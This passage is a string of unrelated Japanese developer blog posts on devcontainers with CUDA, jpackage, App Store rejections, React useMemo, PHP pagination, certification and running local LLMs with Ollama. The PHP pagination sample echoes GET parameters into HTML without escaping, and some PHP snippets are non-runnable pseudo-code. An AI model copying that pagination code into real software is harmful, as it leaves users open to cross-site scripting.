3. CUDAと入力して、NVIDIA CUDAにチェックをいれる<br>![CUDA_features.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3885881/f3a67494-670b-6c92-0d78-2be07ea15e6c.png)<br>https://github.com/devcontainers/features/tree/main/src/nvidia-cuda<br>cudaのパスが通っていないので、後でまた通したほうがいいかも(補足2)
4. そのままなにもせずにすすんで、devconatiner.jsonを作成
5. devcontainer.jsonのfeaturesとrunArgsを以下のように編集。versionは各自合わせる。

    ```
      "features": {
        "ghcr.io/devcontainers/features/nvidia-cuda:1": {
          "installCudnn": true,
          "installCudnnDev": true,
          "installToolkit": true,
          "cudaVersion": "11.8",
          "cudnnVersion": "8.6.0.163"
        }
      },
      "runArgs": ["--gpus=all", "--shm-size=50g"]
    ```
6. コマンドパレットでReopen in Container
7. poetryインストール
    ```
    pip3 install poetry
    poetry install
    ```

## 参考

https://code.visualstudio.com/docs/devcontainers/create-dev-container#_automate-dev-container-creation

https://zenn.dev/naas/articles/dev-container-python-best-practice

https://zenn.dev/streamwest1629/articles/vscode_wanderer-in-devcontainer

## 補足
### 補足1
今まで気にせず使用していましたが、devcontainerのデフォルトの仕様でカレントディレクトリはバインドマウントされるんですね。そりゃそうか。。。
バインドマウントについてはこちら。

https://zenn.dev/narutiga/articles/1aebf39744158c

### 補足2
上記の方法だとCUDAのパスが繋がっていなかったので、以下の設定をdevcontainer.jsonに書き加えるといい。<br>nvcc --versionで出力されれば解決。
```
"containerEnv": {
    "PATH": "/usr/local/cuda/bin:${localEnv:PATH}"
}
```

https://code.visualstudio.com/remote/advancedcontainers/environment-variables

### 補足3(自分のメモ書きのためで、記事の主旨から離れています)
cudnnを手動でインストールする方法
https://docs.nvidia.com/deeplearning/cudnn/latest/installation/linux.html
dpkgでパッケージのインストール先確認。
```
dpkg -L libcudnn9-cuda-12
```
-dpkgはDebian系(Ubuntu含む)のパッケージ管理コマンド
-Lオプションは、指定したパッケージがインストールしたファイルの一覧を表示
マスターメンテナンスに1人月！？

初めまして、@tech___memoです。
ふと記事を書こうと思いました。

## マスターメンテナンスに1人月！？
早速ですが、タイトルに触れていきます。
現在の職場で、私は**ざっくり言うと** オンプレで動くパッケージ製品を、Web技術を使って新システムとして開発するというプロジェクトに0→1のフェーズからアサインされました。
そこで、今のパッケージ製品上に簡単なマスターメンテナンスを作ろうと思ったらどれくらいかかるか見積もってもらいました。
数値は若干ぼかしています。
- 単体テスト含めた製作だけでだいたい9人日
- 詳細設計がだいたい2人日
- 開発者以外の受入テストとして合計3人日
- 他の工程はわからんけど、[ソフトウェア開発 データ白書 2018-2019](https://www.ipa.go.jp/archive/publish/wp-sd/ps6vr70000011kwd-att/000069381.pdf)から考えるに、他にも合計5人日くらいかけてそう

ーーいや遅すぎん？
**前提が大きく違うので簡単に比較はできません**が、前職で私は入社して半年頃にはマスターメンテナンスの製作を1人日でできていたし、要領のいい後輩は0.5人日でできていました。もちろん工数に単体テストは含んでいます。
そこから考えると、ありえないくらい遅すぎる。これは生産性が低いと言われても仕方ありません。
前職で客先にも出ていたエンジニアでもある私はめちゃくちゃビックリしました。

客先で「新規のマスターメンテナンス開発するのに1か月くらいかかるんですよ～」なんて私ならとても言えない。
1つのマスターメンテナンスで提供できる価値が1人月相当なんて、私はそうは思えません。
単純に金額に換算したら100～200万は行くでしょうからね。うちの単価がどうなってるかは知らんけど。

一方で、エンジニアという立場としては「あの時とは提供する機能が違うし、さすがに1人日では製作できるわけないな」という感覚も持っていました。
ドメイン的に盛り込むべき機能や、この業界特有のユーザー体験の向上を求めた機能があったからです。
それでも、設計の工夫により製作の工数を半分くらいにはできるだろうと思っていました。~~本当は製作以外にも口出したいんですけど、怒られそうなのでその辺は触れません。~~

## 20年選手の簡易見積もり
話は変わり、自社にWeb開発の知見があまりないということもあり、社外の力を借りていました。
そして20年以上エンジニアをされているという方に製作周りの簡易見積もりもしてもらいました。
そしたら、（具体的な時間は載せませんが）**何に時間を使ったらそんな時間になるんや** という見積もりが出てきました。
あまりに私の感覚と違うのでいろんな理由を考えました。
- ムダに難しい技術を使おうとしているため（たしかにやりたいことに対してムダに難しすぎると感じる機能の要求がビジネス側からあった）
- 作ろうとしているものの不透明性が高く、リスクが大きすぎるため
- メンバー全体（マネージャー含む）の技術面・ドメインに対する知識面でのレベルが総合的に低く、リスクが大きすぎるため
- 単位が実は人日じゃなくて人時であるため（それならさすがに少ない）
- その他、前提の認識が大きく違うため

結局理由は聞いてないんですが、言うより見せた方が速いなと思って、「私ならもっと早くできますよ」と手を挙げました。そして、簡易的な共通部品化の設計も含めて、とある1機能をその見積もりの半分以下の工数で作り上げました。

## まとめと次回予告
前職の最初の上司からの教えにより、技術のキャッチアップって必要なくて、成熟した技術を適切に選び使っていくことが大事だと思ってたんですが、考えが変わりました。過去のやり方から抜け出せないと、競争力がどんどん落ちていく。
また、20年選手の見積もりのギャップの理由は「問題に対する解像度が低かった」ことにあると考えています。解像度の高め方とか、解像度を高めた後のシステムのモデリングで大事にしていることとかを、次回の記事にしようかなと思っています。※変わるかもしれません
jpackage(というかjlink)でハマった話

## はじめに
初投稿です。お手柔らかにお願いします。
[ハマったリポジトリ]( https://github.com/u-donbei/udon-pasuta/ "ハマったリポジトリ") は公開しています。

## jpackageとは
Javaアプリケーションを自己完結型化し、そのインストーラーを作成できるJDKに付属しているツールです。

## 状況
JavaFX[^1]でゲームを作り、`jpackage`でインストーラーを作ろうとしました。
無事にgradleのビルドが成功し、できたexeファイルを実行したその時!
カーソルのグルグルが出たので、ウィンドウが出てくるかと思ったら、何分経っても出てこない。
この時は「なんでだろう?例外でも出てるのかな?」と思いましたが、これの解決に2日かかりました...

## 原因
原因は、配布用JREにjdk.management.agentモジュールが含まれていなかったことです。

`jpackage`に`--win-console`をつけてみると、
```terminal
Error occurred during initialization of boot layer
java.lang.module.FindException: Module jdk.management.agent not found
```
とのことだったので、オプションに
```terminal
--add-modules jdk.management.agent
```
を付けたら治りました。


## まとめ
皆さんも、`jpackage`コマンドを使うときはモジュールに気を付けてください。
ありがとうございました。

[^1]:>JavaFX（ジャバエフエックス）とはJava仮想マシン上で動作するリッチインターネットアプリケーション (RIA) のGUIライブラリである。Java SE 7 Update 2以降に標準搭載されている。Swingとは異なり、FXMLと呼ばれるXMLとCSSを併用してデザインを記述する。
[Wikipedia](https://ja.wikipedia.org/wiki/JavaFX "Wikipedia")より引用
AppStore審査でのreject(Guideline 2.3.3と4.1)対応

前回、使ってなかったVPSを使ってアプリを作って、AppStoreへ審査に出していました。

https://qiita.com/riemin420/items/7c507796d657c577af19

次の日に、審査の結果がメールで届いていて二つの理由でrejectされていたので、rejectされた理由と対処法を残しておきます。

### reject理由①

>Guideline 2.3.3 - Performance - Accurate Metadata
>Next Steps
>
>
>The iPad screenshots show an iPhone image that has been modified or stretched to appear to be an iPad image. Upload new screenshots that accurately reflect the app in use on each of the supported devices.

要するに、iPadのスクショがiPhoneのスクショを伸ばしただけのものになっているので、ちゃんと対応デバイスでスクショを撮ってくだいさいということです。
撮り直した端末がiPad Air4で若干指定されるサイズと異なるので、数ピクセルほど修正しましたが、その程度の修正であれば審査は通過しました。
しかし、そもそもiPadが必須になっているのはなぜだろうと調べたところ、Xcode上で以下のようになっていました。

![スクリーンショット 2024-09-14 16.02.40.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/657014/64d28b87-0381-f90e-5c91-ebe97daecffe.png)

iPhone以外にも、iPad、Mac、Apple VisionまでDestinationとして設定されていました。
アプリのマイナーバージョンをあげて再ビルド後以下のように設定したところ、App Store Connectにアップロードするところでエラーになりました。

![スクリーンショット 2024-09-14 16.02.55.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/657014/0cad0b53-3381-fd75-d955-92d1c05a945c.png)

以下がアップロード時のエラーです。
![スクリーンショット 2024-09-14 16.18.10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/657014/90a7d647-58d0-888a-ebf3-612184248af5.png)

つまり、前のバージョンでサポートしていたデバイスを削除することはできないということです。
新しくアプリを作り直して別アプリとしてiPhoneのみに対応したものをアップロードするのが、今の所の回避策のようです。


### reject理由②

>Guideline 4.1 - Design - Copycats
>Your app's metadata contains content that is similar to third-party content, which may create a misleading association with another developer's app or intellectual property.
>
>
>Specifically, the app's description and promotional text include references to ChatGPT.

「プロモーション用テキスト」と「概要」に他のコンテンツに類似したものが含まれているということです。
具体的には、「ChatGPT」という文言が入っていたためでした。
「AIプログラム」に記述を変更すると審査を通過しました。

無事審査を通過し今は公開されています。

https://apps.apple.com/jp/app/%E3%83%8A%E3%83%B3%E3%83%90%E3%83%BC%E3%82%BA3%E5%BD%93%E9%81%B8%E7%95%AA%E5%8F%B7%E4%BA%88%E6%B8%AC%E3%83%84%E3%83%BC%E3%83%AB/id6642647356

以上、今回はAppStore審査のreject対応でした。
日々ガイドラインは更新されているので、審査提出してはrejectされて対応しての繰り返しなんだなぁと思いました。
OpenAI o1 APIの価格：技術背景と未来の展望

OpenAIの最新モデルであるo1 APIは、推論能力において極めて高い性能を発揮しています。特に、複雑な問題やコーディングタスクにおいて顕著な成果を挙げており、研究者や開発者の間で注目を集めています。しかし、その卓越した性能と引き換えに、APIの利用コストが他のモデルと比較して高額である点は、利用者にとって大きな議論の的となっています。ここでは、o1 APIの価格について、ITやAIの専門家としての視点からいくつかのポイントを挙げて深く考察してみます。


![NO-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3877124/7f473131-e312-7ab2-ded5-071be6a8a3a8.png)

## 1. 価格設定の背景
まず、OpenAIがo1 APIの価格を他のAPIモデルと比べて高く設定している理由について考えてみる必要があります。o1は従来のGPT-4などとは異なり、強化学習を取り入れた新しい最適化アルゴリズムに基づいて訓練されています。これにより、より高精度で複雑な推論が可能となり、結果としてコーディングや問題解決において他を凌駕する性能を発揮します。このような高度な技術的進化を実現するためには、膨大なコンピューティングリソースやデータセットが必要であり、その開発と運用コストは相当に高いものとなります。このため、o1の利用価格が高く設定されるのは、ある意味で自然な結果といえるでしょう。

## 2. コストパフォーマンスの視点
o1 APIの価格は、単なる利用料金以上の意味を持ちます。例えば、企業がこのAPIを使用して複雑なデータ解析や高度な自動化システムを構築する際、その正確な推論能力によって大幅な効率化が期待されます。コストパフォーマンスの観点から見れば、高額であっても、その正確さとスピードがプロジェクトの成功率を大幅に向上させる可能性があるため、投資効果は十分に得られると言えるでしょう。特に、金融業界や医療業界など、正確な推論が重要視される分野では、o1の利用価値は非常に高いものとなります。

## 3. 競合他社との比較
次に、o1 APIの価格を競合他社の同等なAIモデルと比較してみましょう。GoogleのDeepMindやMicrosoftのAzure AIなど、AIを活用したAPIは多く存在しますが、それぞれの特徴と価格帯は異なります。多くの場合、より安価なモデルでは処理速度や推論精度において制限があり、または特定の分野に特化した性能しか持たない場合が多いです。これに対して、o1はより汎用的でありながら、複雑なタスクに対応可能な点で優れています。この汎用性と高い推論能力が、他社に対する大きな差別化要因となり、それが価格設定にも反映されています。

## 4. 今後の価格動向
OpenAIは現在、o1のプレビュー版を提供していますが、今後の正式リリースに向けて、価格がどのように変動するかが注目されています。多くのAPIサービスでは、正式版のリリースと共に、利用料金が下がる傾向がありますが、o1の場合、利用者の需要や市場の反応に基づいて柔軟に価格を設定する可能性があります。また、OpenAIは企業向けの特別なプランやボリュームディスカウントなど、価格調整の手段を提供することも考えられます。したがって、価格はあくまで一時的なものであり、今後の市場動向に合わせて変動することが予想されます。

## 5. 利用者に対する影響
最後に、o1 APIの高額な価格設定が、一般の開発者や小規模な企業にどのような影響を与えるかについて考えてみましょう。高い性能を持ちながらも、コストが障壁となり、利用を躊躇する開発者も少なくありません。特に、小規模なスタートアップや個人開発者にとっては、利用料金がプロジェクトの予算に大きく影響を与えるため、現時点ではo1を利用することが難しいかもしれません。しかし、OpenAIが提供する他の低価格モデルや、APIの利用量に応じた柔軟な料金体系を導入することで、このような利用者層にも対応することが可能です。

## 6.結論
OpenAI o1 APIの価格は、その高い技術的性能を反映したものであり、特に高度な推論能力が求められる分野においては、そのコストは妥当であるといえます。しかし、一般の開発者や小規模な企業にとっては、価格が利用のハードルとなる可能性があるため、今後の価格動向やプランの柔軟性に注目する必要があります。最終的には、o1の利用価値がそのコストを上回るかどうかが、各企業や開発者の判断に委ねられるでしょう。

今回は以上になります！
最後まで見ていただきありがとうございました！
では、また次の記事で～！
Reactにおける依存関係のあるState管理のベストプラクティス

# 1. 概要
Reactを実装していると、複数のstateが相互に依存するシチュエーションに遭遇することがあります。このような場合、適切な方法でstateを管理しないと、コードが複雑になり、バグの温床になることがあります。ここでは、依存関係のあるstateを管理するベストプラクティスについて説明します。
# 2. 内容
## 2-1. Bad Code
依存関係のあるstateを独立して定義し、それらを`useEffect`で更新する方法は推奨されません。
例えば、商品の値段と最終的な会計金額を扱う以下のようなコードがあったとします。
``` badCode.jsx
const PriceCalculator = ({ basePrice, taxRate }) => {
  const [totalPrice, setTotalPrice] = useState(0);
  const [finalPrice, setFinalPrice] = useState(0);

  useEffect(() => {
    setTotalPrice(basePrice * (1 + taxRate));
  }, [basePrice, taxRate]);

  useEffect(() => {
    // 10%のチャージを加算
    setFinalPrice(totalPrice + (totalPrice * 0.1)); 
  }, [totalPrice]);

  return (
    <div>
      <p>Base Price: {basePrice}</p>
      <p>Total Price: {totalPrice}</p>
      <p>Final Price: {finalPrice}</p>
    </div>
  );
```
このコードは以下の3つの問題点を抱えています。
* 同期の問題
  * `useEffect`はレンダリング後に非同期的に実行されるため、依存関係のあるstate間での更新が即時に反映されない可能性があります。例えば、`totalPrice`が更新された後に`finalPrice`が更新される場合、`useEffect`の順序によっては以前の値を元に計算されることがあり、意図しない値が表示されることがあります。
* 冗長なコード 
  * 複数の`useEffect`フックを使用して依存関係のあるstateを管理すると、各`useEffect`がどのstateに依存しているかを個別に記述する必要が出てきます。これにより、依存関係が複雑になると、それぞれの`useEffect`内で似たような更新ロジックを何度も書く羽目になります。例えば、`totalPrice`が変わるたびに`finalPrice`を更新するようなロジックを複数の`useEffect`で記述する必要が出てきます。これが原因でコードが冗長になり、どの`useEffect`がどのstateを更新するのかが分かりにくくなります。
* バグのリスク
  * stateを手動で同期させる際に、更新のタイミングや順序が予期しない形で影響を与えることがあります。例えば、`setTotalPrice`が呼ばれた後に`setFinalPrice`が呼ばれる場合、`totalPrice`の更新が完了する前に`finalPrice`の計算が始まることがあり得ます。その結果、`finalPrice`の計算が正しい`totalPrice`の値に基づかず、古い値に基づいてしまうことがあります。これが原因で、正しい最終価格が表示されず、ロジックの整合性が崩れます。
## 2-2. Good Code
上述の問題に対し、useMemoを使うことで依存関係のあるstateを効率的に管理することができます。

``` goodCode.tsx
const PriceCalculator = ({ basePrice, taxRate }) => {
  const totalPrice = useMemo(() => {
    return basePrice * (1 + taxRate);
  }, [basePrice, taxRate]);

  const finalPrice = useMemo(() => {
    // 10%のチャージを加算
    return totalPrice + (totalPrice * 0.1); 
  }, [totalPrice]);

  return (
    <div>
      <p>Base Price: {basePrice}</p>
      <p>Total Price: {totalPrice}</p>
      <p>Final Price: {finalPrice}</p>
    </div>
  );
};
```
（問題点の裏返しにはなりますが）これにより以下の点で改善が期待されます。
* 可読性の向上
  *  サンプルコードとして`totalPrice`と`finalPrice`という、あえて微妙な変数名をつけていますが、useMemoで定義することで、名前が本来の責務を表現できていなかったとしても、それらの算出ロジックが定義場所から読み取れるため、実装者がそれぞれの役割を推察しやすくなります。
* 明確な依存関係
  * `useMemo`を使うことで、計算された値がどの依存関係によって更新されるかを明示的に管理できます。これにより、依存関係が変わったときのみ再計算が行われ、無駄な再レンダリングを避けることができます。
* パフォーマンスの向上
  * `useMemo`は、依存している値が変更された場合のみ再計算を行うため、パフォーマンスが向上します。必要なときにのみ計算が行われることで、不要な計算を避け、アプリケーション全体のレスポンスが向上します。
# 3. まとめ
useState,useEffectはreactを代表するhooksである一方で、使い方によってはコードの複雑性をあげバグの温床にもなり得るものなので、気軽に定義せず、本当に必要なのか一考することをお勧めします。
「同じ意味なのに別の名前のカラム」を統一して使う

## はじめに
タイトルのようなことはそんなにないと思う。
なぜならテーブルのカラム名を変えた方が正しい判断だから。

例えば
`講座履歴テーブルのcourse_table_id`
`講座情報テーブルのcourse_id`
この二つは同じ意味で使われる為、統一するべき。
けどカラムを変えられないケースもあるので今回この話題で記事を投稿する。


## キーを作成する

```diff_php
// テーブルのデータを取得する
$table_array1 = SELECT * FROM .....;
$table_array2 = SELECT * FROM .....;

// $table_array2のキーを作成する
foreach ($table_array2 as $loop_value) {
	$loop_value->course_id = $loop_value->course_table_id;
}
```

上記のコードのように
①foreach文で中身を展開
②左側に新しく追加したいキーを。右側に新しく追加するキーの値を書けばOK
※今回変更ではなく、新たにキーを追加したのでcourse_table_idも存在する。

## 結合して利用する


```diff_php
// ひとつにまとめる
$table_list = array_merge($table_array1, $table_array2);

// course_idをすべて展開する
foreach($table_array as $value){
 echo $value->course_id;
}
```

前の工程でキーを統一できたので結合し、foreachをつかうことで一緒に利用が可能になる。
※最初に言ったとおりだが、カラム名を変えれば済むので変えられない場合のみ検討
【再認定】Google Cloud Certified: Professional Cloud Security Engineer受験記

# はじめに
Google Cloud Certified: Professional Cloud Security Engineer試験の受験記録です。
この度、有効期限を迎えることになったため、再認定のために受験してきました。

# Professional Cloud Security Engineerとは
Google Cloudの試験の中でも、Google Cloudと業界のセキュリティに関するベストプラクティスや要件に基づいて、Google Cloud上での安全なソリューション設計・開発・管理などに関する能力を評価する試験です。
具体的に評価される能力については以下となっています。
※[公式サイト](https://cloud.google.com/learn/certification/cloud-security-engineer?hl=ja) より抜粋。
- アクセスの構成
- データ保護の確保
- コンプライアンス要件に対応
- 通信を保護して境界保護を確立する。
- 運用管理

難易度としては、やや高めですが、個人的には1回目の受験時よりも難易度は下がっていた印象がありました（1回目の受験から業務をとおして経験を積んだことも影響しているかもしれません）。
＃なお、問題数が少なめ(記憶が正しければ40問)だったのは再認定が関係してたりするのでしょうか...？

# 学習フロー
今回は以下のような学習フローで学習しました。
再認定とのこともあり、知識の見直し、キャッチアップに重きを置いています。

- [試験ガイド](https://cloud.google.com/certification/guides/cloud-security-engineer?hl=ja) を確認する
- G-genさんの対策ブログを見て、試験で問われるポイントを知る
[Professional Cloud Security Engineer試験対策マニュアル。出題傾向・勉強方法](https://blog.g-gen.co.jp/entry/professional-cloud-security-engineer)
- Google Cloud環境で実機確認する（実際にデータベースサービスをデプロイ・接続確認）

インフラ～アプリ、アカウントのセキュリティと広い範囲のセキュリティ知識を問われますが、セキュリティに特化した試験なので、学習していても比較的理解しやすいものだと思います。

# 1回目の受験との差分
1回目の受験時もG-genさんの対策ブログには大変お世話になっていました。
受験から約2年もの期間が開いていることもあり、内容にどんな変化があるのか気になりながら学習をすすめていました。

再認定試験に受験した結論として、

**基本的に問われるセキュリティ観点・知識、傾向に大きな差分はありませんでした。**

もちろん、サービスの機能面など時間経過とともに変化するものについては前回受験時と違いはありましたが、差分はそれくらいな印象です。
そのため、G-genさんの対策ブログを参考に、ベースとなる知識・サービスをインプットし、最新のドキュメントを確認する。これが合格の近道だと思います。

なお、日本語対応してから2年以上経過していることもあってか、問題文の表現も比較的わかりやすくなっていたため、今後受験する方も比較的安心して受験してよさそうです。

# まとめ
本記事では再認定したProfessional Cloud Security Engineerについて書いてみました。
簡単な記事ではありますが、どなたかの参考になれば幸いです。
SQLではなく、PHPでページネーションを実装する。


ページネーションを実装する際は
通常はSQLで取得する際にOFFSETとLIMITで取得するデータに制限をかけるが
今回はSQLではなくPHPでページネーションを実装する。
　
　
この際にJOINを使って結合もせず、PHPでMERGEを行う。
（独自関数をいじりたくないので無理やり。）
※フロント側も載せる。
　

 ### バック側実装
```diff_php
$table_array1 = "独自関数でDBのデータを取得。";
$table_array2 = "独自関数でDBのデータを取得。";
$table_array3 = "独自関数でDBのデータを取得。";

// ひとつにまとめる
$table_list = array_merge($table_array1, $table_array2, $table_array3);

// 並び替え(DAYカラムで降順)
$sort_value = array_column($table_list, 'DAY');
array_multisort($sort_value, SORT_DESC, $table_list);


// 【ページャー作成】　

// 取得したデータの数を取得
$total_count = count($table_list);

// 何件表示させるかを決める。
$search_limit = $_GET['limit'] ?: SEARCH_LIMIT;

// (取得したデータ÷表示件数)の結果を切り上げる。結果が0場合は1を格納
$max_page = ceil($total_count / $search_limit) ?: 1;

// 現在のページ getの値がない場合は1を格納
$page_num = $_GET['page_num'] ?: 1;

// 前ページ ＝ 現在のページ-1
$prev_page_num = ($page_num - 1);

// 次ページ　＝ 現在のページ+1
$next_page_num = ($page_num + 1);

// 表示を開始するデータ　＝　現在のページ-1* 表示件数
$offset = ($page_num - 1) * $search_limit;

// ページャーを作成
$table_list = array_slice($table_list, $offset, $search_limit);
```
　
 ### 解説　
難しいことは書いていないと思うが、
```diff_php
// 表示を開始するデータ　＝　現在のページ-1* 表示件数
$offset = ($page_num - 1) * $search_limit;
```
が理解しにくいと思うので解説。

現在のページが２ページ目
表示件数が５件
取得データが２０件だった場合
　
表示されているデータは５～９番目のデータである。

これを実装するために現在のページ２からー１をして１に。
この数字に対して表示件数５をかけると５になる。
つまり、「現在のページから１を引いてその数字に表示件数を書けた値からでデータを表示すれば」、
ページネーションがうまく実装できるといえる。


### フロント側実装

```diff_php
// getでリダイレクトさせる
<form method="get" class="" action="リダイレクトさせる" enctype="multipart/form-data">
	<div class="search_div">
		<span>表示件数:</span>
  
        <!-- 表示件数を表示、入力 -->
		<input type="number" name="limit" min="1" value="<?php echo $search_limit; ?>" />
  
        <!-- リセットボタン（今回実装していない）-->
		<input type="button" class="" value="リセット">
        
        <!-- 検索ボタン　押下で表示件数を変える-->
		<input type="submit" class="" value="検索">
	</div>
	<div class="page_nav">

         <!-- 取得したデータの数を表示-->
		<span class=""><?php echo $total_count; ?>件</span>

         <!-- 前ページボタン　遷移先設定用　パラメータを持たせる-->
		<?php if ($prev_page_num >= 1) { ?>
			<a class="" href=""><i class="fa-solid fa-circle-arrow-left fa-lg"></i></a>
		<?php } else { ?>
			<span class=""><i class="fa-solid fa-circle-arrow-left fa-lg"></i></span>
		<?php } ?>

        <!-- 現在のページを表示する、1~MAXページまで入力できる-->
		<input type="number" name="page_num" value="<?php echo $page_num; ?>" min="1" max="<?php echo $max_page; ?>">
		<span class="separator">/</span>

        <!-- MAXページを表示-->
		<span class="max_page"><?php echo $max_page; ?>ページ</span>

        <!-- 次ページボタン 遷移先今はパラメータしか書いてないので遷移先など自分の画面に合わせて編集要。-->
		<?php if ($next_page_num <= $max_page) { ?>
			<a class="" href="page_num' => $next_page_num"><i class="fa-solid fa-circle-arrow-left fa-flip-horizontal fa-lg"></i></a>
			<?php } else { ?>
				<span class="link_button"><i class="fa-solid fa-circle-arrow-left fa-lg fa-flip-horizontal"></i></span>
			<?php } ?>
		</div>
	</form>
 ```

 ### 解説

 ページネーションは当たり前だが、別のページに遷移するわけではなく
 同じ画面にパラメータを持たせてリダイレクトする。

 なのでformとaタグの遷移先は同じ画面になるように設定して
 必要なデータをパラメータで持たせるようにする。

 aタグの遷移先のコードは今回参考のコードには諸事情で書けなかったですが
 次ページボタンにパラメータのみ記載しているので参考に書いていただけたらと思います。
未経験がIT系の職業訓練に行った感想

# 目次
1. 訓練の内容
1. 訓練の難易度
1. 雰囲気
1. 就職に有利だったか
1. 訓練の感想
1. おすすめするか

## 訓練の内容
LAN構築とか、MySQLとか、Javaとか、Androidアプリ開発やってました。

## 難易度
独学した経験がないほどの初心者ですと、あっという間に置いていかれます。そして、「huh?」となっている間に終わります。
私は高校で情報処理を学んでいたのと、ProgateでPythonを少し学習していたので付いていけました。しかし、Androidアプリ開発は初めてでハマったポイントが多かったので、居残りでやってました。
しかし、就職するにあたっては「そんぐらい知っとかないと…^^;」と苦笑いされるレベルです。
全体的に浅く広く、でした。通っているだけでは実務レベルまで行けません。

::: note
結局、自己研鑽が大事
:::

## 雰囲気
年齢層は幅広かったです。20代前半～60代前半まで。
最も多かったのは30代前半～40代前半でした(体感)。
就職先が決まって、途中で退所した方が何人もいました。普通に焦ります。
受講生の共通点と言えば就活のことなので、自然とその話になります。普通に焦ります。
大人同士なのでそこそこの距離感で仲良くなれます。就活の愚痴も言い合えるので孤独感はありませんでした。

## 就職に有利だったか
全体的に浅く広く、なので「未経験ですが職業訓練であれこれやってます！まずは経験積みたいです！」といった感じでアピールしていたら内定出ました（ただ、私が20代であることが一番の要因だったと思います）。

職業訓練校宛てに求人を送ってくれたり、たまに個人宛にオファーをくれたりする企業があるので、そこから応募すると若干有利かもしれません。しかし、ベンチャー企業によくある「未経験(ガチ勢)募集」に応募する場合は、全く有利ではないと思いました。面接でボコされました。

職業訓練校のことは、自己PRと志望動機を書く際の良い材料になりました。訓練を通してこの業務に興味を持ちましたとか、訓練でどんな力がつきました、とか書けました。
受講生に対する特有の質問としては、職業訓練で何しているか？入ったきっかけは？苦労した点は？とか聞かれました。あとは、前職の退職理由とか業界を変える理由など、転職におけるベーシックな質問でした。

職業訓練校に通所していることはアピールポイントにはなりますが、そこまでの強カードではなかったです。

## 感想
色々やったことで、なんちゃらエンジニアに興味あるかも～と考えるきっかけになりました。
また、コーディングだけじゃ食えないというのを実感しました。やっぱり開発には総合的な知識が必要なんだなあ（みつを）

そして、エンジニアに「チームワーク」とか「コミュニケーション能力」が重視される理由も実感しました。これ1人で全部やってリリースとかするのは無理だわな。そりゃ分担する必要あるわ。とアプリ開発で実感しました。

訓練の指導員が実務経験あった人とか、職業大を出た人なので、ハマった時は超頼りになりました。また、いつでもコンサルタントに添削や面接練習をお願いできるのも良かったです。
あと訓練と並行して就職活動をしていたので常に忙しかったです。

## おすすめするか
何十万のプログラミングスクール通うより断然良いです。
基本無料(教科書だけは自費という場所もある)なうえ、実機も貸してくれるので。Androidアプリ開発ではかなり助かりました。
まだ何も作ったことない未経験者ならぜひおすすめしたいです。
ただ、応募倍率が高いのでそもそも訓練を受けられるかどうかは運ですが…。
ローカルLLMをWindowsで動かしてみた話

<img width=A%><img width=100% src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3784222/f920c76e-3c56-75b0-ea7d-4ea0fd880818.png">

# ローカルLLMをWindowsで動かしてみた話

## はじめに
最近「ローカルLLM」という言葉に惹かれ、調べてみたところ、なんとChatGPTのような言語モデルをローカルPC上で構築できるということを知りました。@ksonodaさんの投稿記事を参考にさせて頂きました。ありがとうございます。

https://qiita.com/ksonoda/items/febf91746bfc6494fea6

これまで、過去の投稿記事でRAG（Retrieval Augmented Generation）をローカルPC上で動かすことに成功していたので（下記の過去の投稿記事）、もしかしたら生成AIに関するすべての処理を自前で完結させることができるかもしれない、という期待が膨らんできました。

https://qiita.com/ogi_kimura/items/6f0bb486128832885138

そこで今回は、ローカルでのLLM構築に挑戦してみた体験談を共有したいと思います。

## Ollamaのインストールとサーバ起動
ローカルで動かせるLLMのオープンソースプロジェクトはいくつかあるようなのですが、Windows上で利用できるものを探してみたところ、**Ollama**というものが見つかりました。まずはこれを試すことにしました。

当初、VSCodeを使いたかったのでWindows Subsystem for Linux（WSL）を使おうとしましたが、curlが使えなかったり、インストールでエラーが出たりといった問題が発生。最終的に、Windowsに直接インストールする方法を採用することにしました。インストールには以下の投稿記事を参考にしました。@kitさんありがとうございます。以上に分かりやすい内容となっていました。

https://qiita.com/kit/items/cd3a7f8116982d61c06d

早速**command-r-plus**モデルをインストールして実行してみました。

```dosbatch
ollama run command-r-plus
```

しかしながら、失敗です。

```dosbatch
Error: model requires more system memory (57.1 GiB) than is available (8.0 GiB)
```
どうやらメモリ不足のようです。手元のPCはメモリが8GBしかなく、参考にした投稿記事では、かなりリソースに余裕のある環境で動作させていました。

「AWSでスペックの高いサーバを借りようか？」とも考えましたが、それに匹敵するAWSのEC2にちて、**m5.2xlarge**は月額276ドル、**m5.4xlarge**ならば月額552ドルということで、即座に断念。そんな贅沢な遊びはできません…

## 仮想メモリの活用
「いや待てよ、仮想メモリを使えば何とかなるんじゃないか？」と思い立ち、仮想メモリの設定を行いました。最小1901MB、最大19GBに設定して再度試行。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3784222/57354216-26cf-00e5-5885-b361d0a78f21.png)

やっぱりメモリ不足で稼働しませんでした。

## モデル変更
次に、軽量なモデルがないか探してみたところ、**gemma2**というモデルが見つかりました。これを導入し、再び実行。

```dosbatch
ollama run gemma2
```

しかし、またもやメモリ不足のエラー。

そこで、「仮想メモリの最小サイズを最大と同じにしてみたらどうだろう？」と考え、再度設定を変更。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3784222/2bbfae9b-5e19-60fc-58f1-9a317ec2b09e.png)

再起動後、何とか動作させることに成功しました。ただし、メモリは限界まで使用されている状態でした。

## 生成AIに質問してみた
次にPythonでプログラムをしてみました。

```python
import datetime
from langchain_community.chat_models.ollama import ChatOllama

# ===============================================
print(f"[start] {datetime.datetime.now()}")
llm = ChatOllama(model="gemma2")
response_message = llm.invoke("大阪万博はあと何日？")
print(f"[process] {datetime.datetime.now()} {response_message.content}")
```

試しに「大阪万博はあと何日？」と質問してみました。モデルは動いているようですが、回答が返ってくるまでかなり時間がかかっている様子。9分後に、ようやく返答が表示されていました。

```dosbatch
[start] 2024-09-14 15:34:15.569601
[process] 2024-09-14 15:43:31.424225 大阪万博は**2025年4月13日から10月13日まで**開催されます。 

つまり、現在(2023年10月27日)から **もう約1年と8か月**後です。

楽しみですね！
```

とっても感動はしたものの、1つの質問に9分はさすがに長すぎました。これでは商用には耐えられません。
因みにこの処理の実行は、2024年9月14日に実施しているのですが、**Ollama**の時が止まっているようで、現在が2023年10月27日になっていました。


## おわりに
